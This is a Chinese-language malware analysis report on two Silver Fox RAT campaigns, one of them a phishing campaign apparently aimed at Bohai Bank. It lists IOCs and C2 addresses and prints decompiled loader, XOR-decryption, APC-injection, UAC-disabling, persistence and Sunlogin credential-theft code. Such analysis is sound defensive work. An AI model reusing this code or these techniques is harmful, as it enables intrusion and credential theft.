概述
银狐
木马作为数年前在国内开始流行的一类远控木马,时至今日活跃度只增不减。近期瑞星威胁情报平台
在日常运营中捕获到多起攻击案例,现对相关案例分类进行详细分析
案例一
本案例初始攻击向量为钓鱼邮件,邮件中收件人的邮箱地址和渤海银行有关,疑似针对渤海银行。攻击者以发票生成通知为诱饵,诱导用户点击含恶意链接的邮件,获取带恶意程序的压缩包。利用白加黑手段,通过正常文件执行恶意DLL实施提权、反调试、下载并执行银狐木马等操作。
样本分析
攻击流程
钓鱼邮件1基本信息
字段 | 内容 |
---|---|
MD5 | D5D9053B8097542E4F594D8B129C7C86 |
文件类型 | EML |
文件大小 | 10.2 KB (10,541 字节) |
备注 | 带恶意链接的钓鱼邮件,恶意链接为:hxxps://baidu.com@cuomicufvhehy.cn/?lzhlujkoai |
钓鱼邮件2基本信息
字段 | 内容 |
---|---|
MD5 | D3FC2B2CF324102C2800E7CDAF1B10BA |
文件类型 | EML |
文件大小 | 10.2 KB (10,461 字节) |
备注 | 带恶意链接的钓鱼邮件,恶意链接为:hxxps://baidu.com@olnrrzvvpypuhutf.cn/?ykwpolenff |
钓鱼邮件1的发件人为jpbrsl@khbjmu.xyz
,收件人为jhfhzhglb@cbhb.com.cn
。钓鱼邮件2的发件人为dfpdvp@khbjmu.xyz
,收件人为wei.ge@cbhb.com.cn
。两封钓鱼邮件中的发件人的邮箱地址中域名都为khbjmu.xyz
,这并非大众熟知的正规域名,正规企业或机构一般会使用更具辨识度、品牌相关的域名。收件人的邮箱域名均为cbhb.com.cn
,这个是渤海银行的域名,猜测此次钓鱼邮件针对渤海银行。邮件内容都是通知用户发票生成,诱使用户点击下载发票,从而执行恶意程序。
钓鱼邮件1内含有的恶意链接为hxxps://baidu.com@cuomicufvhehy.cn/?lzhlujkoai
,钓鱼邮件2内含的恶意链接hxxps://baidu.com@olnrrzvvpypuhutf.cn/?ykwpolenff
。两个链接看起来像是和百度有关,以此来降低用户的警觉性,实际上两个链接分别指向的域名是cuomicufvhehy.cn
和olnrrzvvpypuhutf.cn
,而前面的baidu.com
仅作为用户名在请求中被提交,和百度没有关系。当用户点击链接时,首先会显示一个验证输入页面,当用户输入验证码后,才会跳转到下载页面hxxps://xuyuyohlzgtmcvr.cn/
,下载的文件名为票单.zip
。
票单.zip分析
字段 | 内容 |
---|---|
文件名 | 票单.zip |
MD5 | 0B70320AC2F5F6BE5FEE0B0B3C27D785 |
文件类型 | ZIP |
文件大小 | 4.23 MB (4,441,532 字节) |
票单.zip
文件中两个文件,一个是正常文件dzfp.exe
,该文件带有有效的数字签名Avira Operations GmbH & Co. KG
,另一个是恶意文件scew.dll
。这是常见的白加黑利用手法,通过正常文件dzfp.exe
执行恶意scew.dll
文件。
scew.dll分析
字段 | 内容 |
---|---|
文件名 | scew.dll |
MD5 | 103A7C7B5033DB386C484F6846AECF28 |
文件类型 | DLL |
文件大小 | 13.5 KB (13,824 字节) |
病毒名 | Downloader.Agent!1.12E0B |
提升进程权限:
- 提升进程权限
SeDebugPrivilege
,或者检测进程是否有管理员权限,如果提权失败并且进程不是管理员权限执行,则通过注册表提权并利用CreateProcessA
执行程序:
- 设置注册表,强制让加载黑
dll
的程序以管理员运行
- 执行加载黑
dll
的程序:利用CreateProcessA
执行命令:cmd.exe /c ""C:\Users\gg\Desktop\票单\dzfp.exe" /uac""
通过时间差确定是否被调试,是调试的话则退出进程。
检测系统是否存在D
盘或者E
盘,如果不存在则退出进程。
发起网络请求,用户代理标识为wininet ftp
。
访问 38.181.42.127
,用户名sbfe
,密码yeht142Ag
,该登陆凭据会一直变化。
成功连接上该FTP
服务器后,发现里面有多个大小不一的文件,大致可以分为三类:shellcode
(加密),银狐远控程序(加密),黑DLL
(该DLL
通过正常的网易相关程序NetEase.exe
加载,作用是提权并内存执行银狐等远控木马)
类型 | 文件名 |
---|---|
shellcode | dl_8025、dl_8080、sl_8080、sl_8090 |
银狐木马 | win.dat_8025 |
黑DLL | libxml2.dll、libxml2.dll2 |
此次攻击中,攻击者首先获取名为dl-8025
的shellcode
数据
解密该shellcode
数据然后内存执行
dl-8025分析
字段 | 内容 |
---|---|
文件名 | dl-8025 |
MD5 | 0661DB9DB931410E49430472E6C1C6F9 |
文件大小 | 10.8 KB (11,072 字节) |
备注 | 被加密的shellcode |
发起网络请求,用户代理标识为wininet ftp
访问 38.181.42.127
,用户名sbfe
,密码yeht142Ag
,该凭据会一直变化。
获取名为win.dat_8025
的文件数据
win.dat_8025
是个加密文件,经过解密后,发现其是银狐远控木马
在加载银狐木马之前,检测360tray.exe
等和杀软相关的进程
利用CreateProcessW
打开进程C:\Program Files (x86)\Internet Explorer\iexplore.exe
利用进程注入的攻击手法,将银狐木马注入到进程iexplore.exe
中执行
win.dat_8025分析
字段 | 内容 |
---|---|
文件名 | win.dat_8025 |
MD5 | F435F7E2002439465A0C237FF540B882 |
文件大小 | 3.32 MB (3,489,792 字节) |
备注 | 被加密的银狐木马 |
为躲避杀软沙箱虚拟机以及调试分析等检测手段,会查询调试状态、大部分杀毒软件(如:360安全卫士、火绒安全软件、金山毒霸、联想电脑管家、Windows Defender
等)、沙箱(360沙箱、Sandboxie
等)、虚拟机(如:QEMU
、VirtualBox
、VMware
等)、分析工具(如OllyDbg
、WinDbg
、IDA
、Process Monitor
等)是否存在
读取名为150资源的数据,解密后得到C2
服务器的IP
和端口192.238.129.9:8025
,并将其作为互斥体创建
与服务器建立连接
获取远控指令,执行下发文件,窃取隐私数据等恶意操作
指令 | 内容 |
---|---|
0x00 | 确保线程在多线程操作中不被中断 |
0x01 | 收集磁盘信息 |
0x26 | 键盘记录 |
0x2B | 提权并执行系统管理组件的功能 |
0x30 | 执行远程终端组件的功能 |
0x31 | 授予执行本地关机、重启或注销操作的权限 |
0x32 | 删除特定文件 |
0x33 | 下载文件并执行 |
0x34 | 下载文件执行并删除特定文件 |
0x35 | Windows 事件日志清理 |
0x39、0x3A | 执行指定文件 |
0x3B | 在注册表HKEY_LOCAL_MACHINE\SYSTEM\Setup 中创建注册表项RemarkName |
0x3D | 在注册表HKEY_LOCAL_MACHINE\SYSTEM\Setup 中创建注册表项GroupName |
0x3E | 弹出含指定消息的消息框 |
0x54 | 执行注册表管理组件功能 |
0x5A | 访问指定服务器地址 |
0x5B | 发送OK |
0x5C | 查询进程 |
0x5D | 查询窗口 |
0x5E | 发送文件数据 |
0x61 | 检测杀软,通过后后执行后台屏幕组件功能 |
0xCA | 获取即时通讯工具(QQ、微信、钉钉,Telegram等)数据 |
0xCC | 操作防火墙 |
0xD8、0xD9、0xDA、0xDB、0xDC、0xDD、0xDE | 清除浏览器记录 |
0xDF | 执行剪切板管理组件功能 |
案例二
与此同时我们还发现了银狐
的另一分支的攻击活动,该分支近期攻击也非常活跃,同时攻击手法也在一直更新变化,该攻击初始是在聊天软件上传播名为明细查询.zip
的恶意压缩包(疑似为攻击者远控受害者设备完成相关操作),包内存在多个文件,通过修改白文件的配置文件劫持其运行黑DLL,之后运行最终载荷。
样本分析
攻击流程
明细查询.zip
字段 | 内容 |
---|---|
文件名 | 明细查询.zip |
MD5 | b16131ad5ced53662a61b230452a2a93 |
文件类型 | ZIP |
文件大小 | 2.66 MB (2791292 bytes) |
该压缩包内存在多个文件如下所示,其中明细查询.exe
实际为具有微软签名的微软电脑管家
组件,在此处被作为白加黑中的白文件利用
其主要通过修改白文件会读取的配置文件实现加载同目录下m$RECYCLE.BIN
文件夹中的恶意DLL
恶意DLL所在文件夹
初始C#载荷:VistaFileDialog.exe
字段 | 内容 |
---|---|
文件名 | VistaFileDialog.exe |
MD5 | 3fbb7853b70b4383d76c98e02d4bc941 |
文件类型 | DLL |
文件大小 | 103.50 KB (105984 bytes) |
病毒名 | Trojan.ShellCodeRunner!1.12E42 |
该恶意dll先判断是否为管理员权限,如果不是则向用户申请管理员权限,在获取管理员权限后才会运行到下一步,此处需要管理员权限也是为后续展开作铺垫
// Token: 0x0200001D RID: 29
public class logsupp : AppDomainManager
{
// Token: 0x06000185 RID: 389 RVA: 0x0000617C File Offset: 0x0000437C
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
try
{
if (this.alizeNew())
{
InManager.logsup();
}
else
{
this.uoda();
}
}
catch
{
}
}
// Token: 0x06000186 RID: 390 RVA: 0x000061B4 File Offset: 0x000043B4
private bool alizeNew()
{
bool result;
try
{
result = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
}
catch
{
result = false;
}
return result;
}
// Token: 0x06000187 RID: 391 RVA: 0x000061F0 File Offset: 0x000043F0
private void uoda()
{
try
{
char[] value = new char[]
{
'r',
'u',
'n',
'a',
's'
};
Process.Start(new ProcessStartInfo
{
FileName = Process.GetCurrentProcess().MainModule.FileName,
UseShellExecute = true,
Verb = new string(value)
});
Environment.Exit(0);
}
catch
在获取到管理员权限后读取白文件同目录下的html
后缀文件,使用ABCrthrthjD
作为密钥异或解密出后续载荷
public static class InManager
{
// Token: 0x060001DB RID: 475 RVA: 0x00006C18 File Offset: 0x00004E18
public static void logsup()
{
try
{
string[] files = Directory.GetFiles(AppDomain.CurrentDomain.BaseDirectory, "*.html");
if (files.Length != 0)
{
string path = files[0];
if (File.Exists(path))
{
InManager.longss(InManager.Decryptondy(File.ReadAllBytes(path), 0));
}
}
}
catch (Exception)
{
}
}
// Token: 0x060001DC RID: 476 RVA: 0x00006C74 File Offset: 0x00004E74
private static byte[] Decryptondy(byte[] encryptedondy, byte key)
{
if (encryptedondy == null || encryptedondy.Length == 0)
{
return new byte[0];
}
byte[] array = new byte[encryptedondy.Length];
string text = "ABCrthrthjD";
for (int i = 0; i < encryptedondy.Length; i++)
{
byte b = (byte)text[i % text.Length];
array[i] = (encryptedondy[i] ^ b);
}
return array;
将解密出的载荷写入内存并执行
private static void longss(byte[] ondy)
{
try
{
if (ondy != null && ondy.Length != 0)
{
IntPtr moduleHandle = InManager.GetModuleHandle(Encoding.ASCII.GetString(InManager.K32));
if (!(moduleHandle == IntPtr.Zero))
{
IntPtr procAddress = InManager.GetProcAddress(moduleHandle, Encoding.ASCII.GetString(InManager.VM));
if (!(procAddress == IntPtr.Zero))
{
IntPtr intPtr = ((InManager.AllocMemDelegate)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(InManager.AllocMemDelegate)))(IntPtr.Zero, (uint)ondy.Length, 4096U, 64U);
if (!(intPtr == IntPtr.Zero))
{
Marshal.Copy(ondy, 0, intPtr, ondy.Length);
((InManager.longssDelegate)Marshal.GetDelegateForFunctionPointer(intPtr, typeof(InManager.longssDelegate)))();
}
}
}
}
}
catch (Exception)
{
}
}
初始载荷解密后的sccr.html
字段 | 内容 |
---|---|
文件名 | sccr.html |
MD5 | 6e3a5649599cff7ce8826bd46e3c1685 |
文件类型 | exe |
文件大小 | 817.50 KB (837120 bytes) |
病毒名 | Backdoor.SilverFox!1.12E40 |
经过解密该文件实际为exe
文件,主要作用为先将自身注册为服务
int __fastcall main(int argc, const char **argv, const char **envp)
{
SC_HANDLE v3; // rbx
SC_HANDLE ServiceW; // rax
SC_HANDLE v6; // rdi
SERVICE_TABLE_ENTRYW ServiceStartTable; // [rsp+70h] [rbp-248h] BYREF
__int64 v8; // [rsp+80h] [rbp-238h]
__int64 v9; // [rsp+88h] [rbp-230h]
WCHAR Filename[264]; // [rsp+90h] [rbp-228h] BYREF
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONW)sub_140004A60;
ServiceStartTable.lpServiceName = (LPWSTR)L"1111";
v8 = 0LL;
v9 = 0LL;
if ( !StartServiceCtrlDispatcherW(&ServiceStartTable) && GetLastError() == 1063 )
{
v3 = OpenSCManagerW(0LL, 0LL, 2u);
if ( !v3 )
return 1;
GetModuleFileNameW(0LL, Filename, 0x104u);
ServiceW = CreateServiceW(v3, L"1111", L"1111", 0xF01FFu, 0x10u, 3u, 0, Filename, 0LL, 0LL, 0LL, 0LL, 0LL);
v6 = ServiceW;
if ( ServiceW )
{
StartServiceW(ServiceW, 0, 0LL);
CloseServiceHandle(v6);
}
CloseServiceHandle(v3);
}
return 0;
}
之后在ProgramData
目录下生成随机UUID格式
名称的文件夹,在其中释放出自身携带的后续组件,利用方法也是通过修改白文件会读取的配置文件实现加载恶意文件
GetEnvironmentVariableA("ProgramData", Buffer, 0x104u);
v241 = 0LL;
v242 = 0uLL;
v0 = -1LL;
v1 = -1LL;
do
++v1;
while ( Buffer[v1] );
sub_140006FF0(&v241, Buffer, v1);
v2 = sub_1400068D0(&v241, "\\", 1uLL);
该木马释放文件时会将携带的恶意dll拆分并命名为两个bat文件
CreateDirectoryA(v9, 0LL);
v10 = (const void **)sub_140001F60(&v230);
v11 = v10;
v189 = 0LL;
v190 = 0uLL;
v12 = 8LL;
if ( (unsigned __int64)v10[2] < 8 )
v12 = (size_t)v10[2];
if ( (unsigned __int64)v10[3] > 0xF )
v11 = *v10;
sub_140006FF0(&v189, v11, v12);
v13 = sub_1400068D0(&v189, ".dat", 4uLL);
在固定名称为MenuArg.ini
的配置文件中通过调用cmd
执行copy
命令后接着使用start
命令将其拼接并执行,如下
[配置信息]
执行文件=cmd.exe /c copy /b C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\8d5c1617.dat + C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\5fcc04bf.dat C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\b130153a.exe&start C:\ProgramData\e0399559-18a2-a7af-f72f-b6bda76887e4\b130153a.exe
之后其会读取机器的卷序列号
作为前4字节与BIOS的主板序列号
作为后28字节,如果主板序列号为空则用0代替,最终组成一个32字节的密钥,使用该密钥对携带的另一恶意组件进行简单移位与异或加密,之后将其写入baga.png
中,在上述两个bat拼接的exe中对该png解密执行
GetVolumeInformationA(
"C:\\",
VolumeNameBuffer,
0x105u,
&VolumeSerialNumber,
MaximumComponentLength,
&FileSystemFlags,
FileSystemNameBuffer,
0x105u);
memset(Data, 0, sizeof(Data));
cbData[0] = 256;
if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", 0, 0x20019u, phkResult) )
{
RegQueryValueExA(phkResult[0], "BaseBoardSerialNumber", 0LL, 0LL, Data, cbData);
RegCloseKey(phkResult[0]);
}
LODWORD(v241) = VolumeSerialNumber;
do
++v0;
while ( Data[v0] );
if ( !v0 )
{
v74 = 4LL;
LABEL_146:
memset((char *)&v241 + v74, 0, 32 - v74);
goto LABEL_147;
}
v73 = 28LL;
if ( v0 < 0x1C )
v73 = v0;
memcpy((char *)&v241 + 4, Data, v73);
v74 = v0 + 4;
if ( v74 < 0x20 )
goto LABEL_146;
LABEL_147:
v75 = (_BYTE *)v72;
v76 = -v72;
do
{
*v75 = *((_BYTE *)&v241 + ((7 - (_BYTE)v72 + (_BYTE)v75) & 0x1F)) ^ __ROR1__(
*v75 ^ *((_BYTE *)&v241
+ (((_BYTE)v75 - (_BYTE)v72) & 0x1F)),
4);
++v75;
}
while ( (unsigned __int64)&v75[-v72] < 0x6244E );
释放完成之后会注册名为WindowsAUpdate
的服务运行释放组件中的白文件实现自启动
*((_BYTE *)v175 + v173) = 0;
v179 = (const CHAR *)sub_140005EB0(&v223);
ServiceA = CreateServiceA(
v169,
"WindowsAUpdate",
"Windows AUpdate",
0xF01FFu,
0x10u,
2u,
0,
v179,
0LL,
0LL,
0LL,
0LL,
0LL);
if ( ServiceA )
CloseServiceHandle(ServiceA);
CloseServiceHandle(v169);
之后通过修改注册表关闭UAC
提示,并且复制当前进程的令牌给其新创建的clip.exe
进程,接着通过APC
注入clip.exe
运行其后续载荷
int sub_1400046F0()
{
HANDLE CurrentProcess; // rax
void *v1; // rax
void *v2; // rdi
void (__stdcall *v3)(ULONG_PTR); // rbx
HANDLE phNewToken; // [rsp+60h] [rbp-A0h] BYREF
HANDLE TokenHandle; // [rsp+68h] [rbp-98h] BYREF
LPVOID Environment; // [rsp+70h] [rbp-90h] BYREF
HKEY hKey; // [rsp+78h] [rbp-88h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+80h] [rbp-80h] BYREF
struct _STARTUPINFOW StartupInfo; // [rsp+A0h] [rbp-60h] BYREF
BYTE Data[4]; // [rsp+110h] [rbp+10h] BYREF
DWORD TokenInformation; // [rsp+114h] [rbp+14h] BYREF
SIZE_T NumberOfBytesWritten; // [rsp+118h] [rbp+18h] BYREF
WCHAR CommandLine[264]; // [rsp+120h] [rbp+20h] BYREF
sub_1400025D0();
*(_DWORD *)Data = 0;
if ( !RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
0,
0x20006u,
&hKey) )
{
RegSetValueExW(hKey, L"ConsentPromptBehaviorAdmin", 0, 4u, Data, 4u);
RegCloseKey(hKey);
}
TokenInformation = WTSGetActiveConsoleSessionId();
TokenHandle = 0LL;
phNewToken = 0LL;
CurrentProcess = GetCurrentProcess();
LODWORD(v1) = OpenProcessToken(CurrentProcess, 0xF01FFu, &TokenHandle);
if ( (_DWORD)v1 )
{
if ( !DuplicateTokenEx(TokenHandle, 0x2000000u, 0LL, SecurityIdentification, TokenPrimary, &phNewToken) )
{
LABEL_5:
LODWORD(v1) = CloseHandle(TokenHandle);
return (int)v1;
}
SetTokenInformation(phNewToken, TokenSessionId, &TokenInformation, 4u);
v1 = VirtualAlloc(0LL, 0x6244EuLL, 0x3000u, 0x40u);
v2 = v1;
if ( v1 )
{
memcpy(v1, &unk_140038D20, 0x6244EuLL);
StartupInfo.cb = 104;
memset(&StartupInfo.dwFillAttribute, 0, 48);
StartupInfo.dwFlags = 1;
StartupInfo.lpReserved = 0LL;
StartupInfo.lpDesktop = L"winsta0\\default";
StartupInfo.wShowWindow = 0;
memset(&StartupInfo.lpTitle, 0, 32);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
memset(&CommandLine[29], 0, 0x1CEuLL);
wcscpy(CommandLine, L"C:\\Windows\\System32\\clip.exe");
Environment = 0LL;
CreateEnvironmentBlock(&Environment, phNewToken, 1);
if ( CreateProcessAsUserW(
phNewToken,
0LL,
CommandLine,
0LL,
0LL,
0,
0x414u,
Environment,
0LL,
&StartupInfo,
&ProcessInformation) )
{
v3 = (void (__stdcall *)(ULONG_PTR))VirtualAllocEx(ProcessInformation.hProcess, 0LL, 0x6244EuLL, 0x3000u, 0x40u);
if ( v3 && WriteProcessMemory(ProcessInformation.hProcess, v3, v2, 0x6244EuLL, &NumberOfBytesWritten) )
{
QueueUserAPC(v3, ProcessInformation.hThread, 0LL);
ResumeThread(ProcessInformation.hThread);
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
}
if ( Environment )
DestroyEnvironmentBlock(Environment);
if ( phNewToken )
CloseHandle(phNewToken);
if ( TokenHandle )
CloseHandle(TokenHandle);
LODWORD(v1) = VirtualFree(v2, 0LL, 0x8000u);
}
else
{
if ( phNewToken )
LODWORD(v1) = CloseHandle(phNewToken);
if ( TokenHandle )
goto LABEL_5;
}
}
return (int)v1;
}
在完成所有任务后清理临时服务1111
,只留下名为WindowsAUpdate
的伪装服务维持自启
v1 = OpenSCManagerW(0LL, 0LL, 1u);
v2 = v1;
if ( v1 )
{
v3 = OpenServiceW(v1, L"1111", 0x10000u);
v4 = v3;
if ( v3 )
{
DeleteService(v3);
CloseServiceHandle(v4);
}
CloseServiceHandle(v2);
}
SetEvent(hHandle);
WaitForSingleObject(hHandle, 0xFFFFFFFF);
ServiceStatus.dwCurrentState = 1;
return SetServiceStatus(hServiceStatus, &ServiceStatus);
两个dat文件合并后的Loader
字段 | 内容 |
---|---|
文件名 | decd5caa.exe |
MD5 | ed5e0ac43bf4363662bd3288c7fbbe3b |
文件类型 | exe |
文件大小 | 104 KB (107,008 bytes) |
病毒名 | Trojan.ShellCodeRunner/x64!1.12E3D |
该Loader
运行后先复制当前进程的令牌
TokenInformation = WTSGetActiveConsoleSessionId();
TokenHandle = 0LL;
hObject = 0LL;
CurrentProcess = GetCurrentProcess();
LODWORD(FirstFileW) = OpenProcessToken(CurrentProcess, 0xF01FFu, &TokenHandle);
if ( !(_DWORD)FirstFileW )
return (int)FirstFileW;
if ( !DuplicateTokenEx(TokenHandle, 0x2000000u, 0LL, SecurityIdentification, TokenPrimary, &hObject) )
{
LODWORD(FirstFileW) = CloseHandle(TokenHandle);
return (int)FirstFileW;
}
v2 = 4LL;
SetTokenInformation(hObject, TokenSessionId, &TokenInformation, 4u);
接着从当前目录下搜索并读取png后缀的文件,依旧是读取机器的卷序列号
作为前4字节与BIOS的主板序列号
作为后28字节组成一个32字节的密钥,用来解密同目录下的png后缀文件。这种加解密方式使得在未获得母体的情况下更换系统环境将导致后续载荷无法顺利解密,通过此方法使后续组件实现一定的反调试反沙箱。
*(_QWORD *)v6 = 0x6E0070002E002ALL;
*((_DWORD *)v6 + 2) = 103;
FirstFileW = FindFirstFileW(FileName, &FindFileData);
v8 = FirstFileW;
if ( FirstFileW == (HANDLE)-1LL )
{
if ( hObject )
LODWORD(FirstFileW) = CloseHandle(hObject);
v9 = TokenHandle;
if ( TokenHandle )
LABEL_37:
LODWORD(FirstFileW) = CloseHandle(v9);
}
else
{
v10 = 0LL;
do
{
v11 = Filename[v10];
v50[v10++] = v11;
}
while ( v11 );
v12 = &v49;
do
{
v7 = v12[1] == 0;
++v12;
}
while ( !v7 );
v13 = 0LL;
do
{
v14 = FindFileData.cFileName[v13];
v12[v13++] = v14;
}
while ( v14 );
FindClose(v8);
FirstFileW = CreateFileW(v50, 0x80000000, 0, 0LL, 3u, 0x80u, 0LL);
v15 = FirstFileW;
if ( FirstFileW == (HANDLE)-1LL )
{
if ( hObject )
LODWORD(FirstFileW) = CloseHandle(hObject);
v9 = TokenHandle;
if ( TokenHandle )
goto LABEL_37;
}
else
{
FileSize = GetFileSize(FirstFileW, 0LL);
v17 = FileSize;
if ( FileSize == -1 )
{
LODWORD(FirstFileW) = CloseHandle(v15);
if ( hObject )
LODWORD(FirstFileW) = CloseHandle(hObject);
v9 = TokenHandle;
if ( TokenHandle )
goto LABEL_37;
}
else
{
v18 = VirtualAlloc(0LL, FileSize, 0x3000u, 0x40u);
v19 = v18;
v20 = v15;
if ( v18 )
{
if ( ReadFile(v15, v18, v17, &NumberOfBytesRead, 0LL) )
{
CloseHandle(v15);
memset(v41, 0, sizeof(v41));
memset(VolumeNameBuffer, 0, 0x105uLL);
memset(FileSystemNameBuffer, 0, 0x105uLL);
VolumeSerialNumber = 0;
MaximumComponentLength = 0;
FileSystemFlags = 0;
GetVolumeInformationA(
"C:\\",
VolumeNameBuffer,
0x105u,
&VolumeSerialNumber,
&MaximumComponentLength,
&FileSystemFlags,
FileSystemNameBuffer,
0x105u);
memset(Data, 0, sizeof(Data));
cbData = 256;
if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\BIOS", 0, 0x20019u, &phkResult) )
{
RegQueryValueExA(phkResult, "BaseBoardSerialNumber", 0LL, 0LL, Data, &cbData);
RegCloseKey(phkResult);
}
v21 = -1LL;
LODWORD(v41[0]) = VolumeSerialNumber;
do
++v21;
while ( Data[v21] );
if ( !v21 )
goto LABEL_46;
v22 = 28LL;
if ( v21 < 0x1C )
v22 = v21;
memcpy((char *)v41 + 4, Data, v22);
v2 = v21 + 4;
if ( v21 + 4 < 0x20 )
LABEL_46:
memset((char *)v41 + v2, 0, 32 - v2);
if ( (_DWORD)v17 )
{
v23 = v19;
do
{
v24 = (_BYTE)v23 - (_BYTE)v19;
v25 = *v23 ^ *((_BYTE *)v41 + ((7 - (_BYTE)v19 + (_BYTE)v23) & 0x1F));
*v23++ = *((_BYTE *)v41 + (v24 & 0x1F)) ^ __ROR1__(v25, 4);
}
while ( v23 - v19 < v17 );
}
解密出后续载荷后依旧通过APC注入执行其解密出的载荷,运行流程与上述sccr.html
的释放与加载流程类似,只是一个是负责加密一个负责解密
StartupInfo.dwFlags = 1;
StartupInfo.lpReserved = 0LL;
StartupInfo.lpDesktop = L"winsta0\\default";
StartupInfo.wShowWindow = 0;
memset(&StartupInfo.lpTitle, 0, 32);
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
memset(&CommandLine[32], 0, 0x1C8uLL);
wcscpy(CommandLine, (const wchar_t *)&xmmword_140016A10);
Environment = 0LL;
CreateEnvironmentBlock(&Environment, hObject, 1);
if ( CreateProcessAsUserW(
hObject,
0LL,
CommandLine,
0LL,
0LL,
0,
0x414u,
Environment,
0LL,
&StartupInfo,
&ProcessInformation) )
{
v26 = (void (__stdcall *)(ULONG_PTR))VirtualAllocEx(ProcessInformation.hProcess, 0LL, v17, 0x3000u, 0x40u);
if ( v26 && WriteProcessMemory(ProcessInformation.hProcess, v26, v19, v17, (SIZE_T *)&phkResult) )
{
QueueUserAPC(v26, ProcessInformation.hThread, 0LL);
ResumeThread(ProcessInformation.hThread);
}
if ( ProcessInformation.hProcess )
CloseHandle(ProcessInformation.hProcess);
if ( ProcessInformation.hThread )
CloseHandle(ProcessInformation.hThread);
}
if ( Environment )
DestroyEnvironmentBlock(Environment);
if ( hObject )
CloseHandle(hObject);
if ( TokenHandle )
CloseHandle(TokenHandle);
LODWORD(FirstFileW) = VirtualFree(v19, 0LL, 0x8000u);
return (int)FirstFileW;
}
VirtualFree(v19, 0LL, 0x8000u);
v20 = v15;
}
最终执行载荷:解密后的baga.png
字段 | 内容 |
---|---|
文件名 | baga.png |
MD5 | c598696cd40597af817461b43d3e8b3e |
文件类型 | exe |
文件大小 | 393.08 KB (402512 bytes) |
病毒名 | Backdoor.SilverFox!1.12E40 |
该载荷运行后会根据硬编码的IP与自身权限级别生成一个互斥体,防止多开
TokenHandle = 0LL;
CurrentProcess = GetCurrentProcess();
if ( OpenProcessToken(CurrentProcess, 8u, &TokenHandle) )
{
ReturnLength = 0;
if ( GetTokenInformation(TokenHandle, TokenElevationType, &TokenInformation, 4u, &ReturnLength) )
{
v6 = "Unknown";
switch ( TokenInformation )
{
case 1:
v6 = "User";
break;
case 2:
v6 = "Administrator";
break;
case 3:
v6 = "Limited";
break;
}
memset(v19, 0, sizeof(v19));
sub_140001140(v19, v6, strlen(v6));
memset(Name, 0, sizeof(Name));
sprintf_s(Name, 0x100uLL, "Global\\%s_%s", a15010948238, v19);
MutexA = CreateMutexA(0LL, 0, Name);
之后创建线程执行回连获取后续指令
{
memset(Parameter, 0, 260);
if ( !(unsigned int)sub_140003440(Parameter) )
memmove(Parameter, &unk_140036D40, 0x104uLL);
do
{
byte_1400382E5 = 0;
byte_1400382E4 = 0;
Thread = CreateThread(0LL, 0LL, (LPTHREAD_START_ROUTINE)StartAddress, Parameter, 0, 0LL);
WaitForSingleObject(Thread, 0xFFFFFFFF);
在线程中回连IP150.109.48.238
其也具备多种功能如加载下发的插件
GetTempPathA(0x104u, Buffer);
strcpy(Format, "Plugin32.exe");
TickCount = GetTickCount();
sprintf(String2, Format, TickCount);
lstrcatA(Buffer, String2);
FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0LL, 2u, 0x80u, 0LL);
if ( FileA != (HANDLE)-1LL )
{
WriteFile(FileA, &a2[strlen(a2) + 1], a3 - (strlen(a2) + 1), &NumberOfBytesWritten, 0LL);
CloseHandle(FileA);
sprintf(Parameters, "-connect %s:1111", (const char *)(a1 + 36));
strcpy(Operation, "open");
ShellExecuteA(0LL, Operation, Buffer, Parameters, 0LL, 0);
}
return 0LL;
查找进程中是否存在向日葵客户端
,不存在则静默部署
while ( !(unsigned int)sub_1400024F0("xrk.exe") )
{
*(_OWORD *)FileName = *(_OWORD *)a2;
v54 = *(_OWORD *)(a2 + 16);
v55 = *(_OWORD *)(a2 + 32);
v56 = *(_OWORD *)(a2 + 48);
v57 = *(_OWORD *)(a2 + 64);
v58 = *(_OWORD *)(a2 + 80);
v59 = *(_DWORD *)(a2 + 96);
v60 = *(_BYTE *)(a2 + 100);
FileA = CreateFileA(&FileName[1], 0x40000000u, 1u, 0LL, 2u, 0, 0LL);
v19 = FileA;
if ( FileA == (HANDLE)-1LL || !WriteFile(FileA, (LPCVOID)(a2 + 101), a3 - 101, &NumberOfBytesWritten, 0LL) )
return;
CloseHandle(v19);
ShellExecuteA(0LL, "open", &FileName[1], 0LL, 0LL, 0);
do
WindowA = FindWindowA("#32770", &WindowName);
while ( !WindowA );
ShowWindow(WindowA, 0);
Sleep(0xFA0u);
}
之后读取向日葵客户端
配置文件中的用户名和密码并回传
GetPrivateProfileStringA("base", "fastcode", &::Src, ReturnedString, 0x104u, v21);
v22 = (const CHAR *)lpFileName;
if ( v30 >= 0x10 )
v22 = lpFileName[0];
GetPrivateProfileStringA("base", "password", &::Src, String2, 0x104u, v22);
v23 = LocalAlloc(0x40u, 0xC9uLL);
*v23 = -39;
lstrcpyA(String1, ReturnedString);
lstrcpyA(v62, String2);
memmove(v23 + 1, String1, 0xC8uLL);
如果检测到360tray.exe
则对其进行降权处理
v3 = sub_1400024F0("360tray.exe");
if ( v3 )
{
v4 = OpenProcess(0x1000u, 0, v3);
v5 = v4;
if ( v4 )
{
if ( OpenProcessToken(v4, 0xF01FFu, &TokenHandle) )
{
pSid = 0x1000000000000101LL;
v12 = 0;
TokenInformation[1] = 32LL;
TokenInformation[0] = &pSid;
LengthSid = GetLengthSid(&pSid);
if ( SetTokenInformation(TokenHandle, TokenIntegrityLevel, TokenInformation, LengthSid + 16) )
{
CreateThread(0LL, 0LL, sub_140005040, 0LL, 0, 0LL);
v2 = (unsigned int)sub_140004A40() != 0;
}
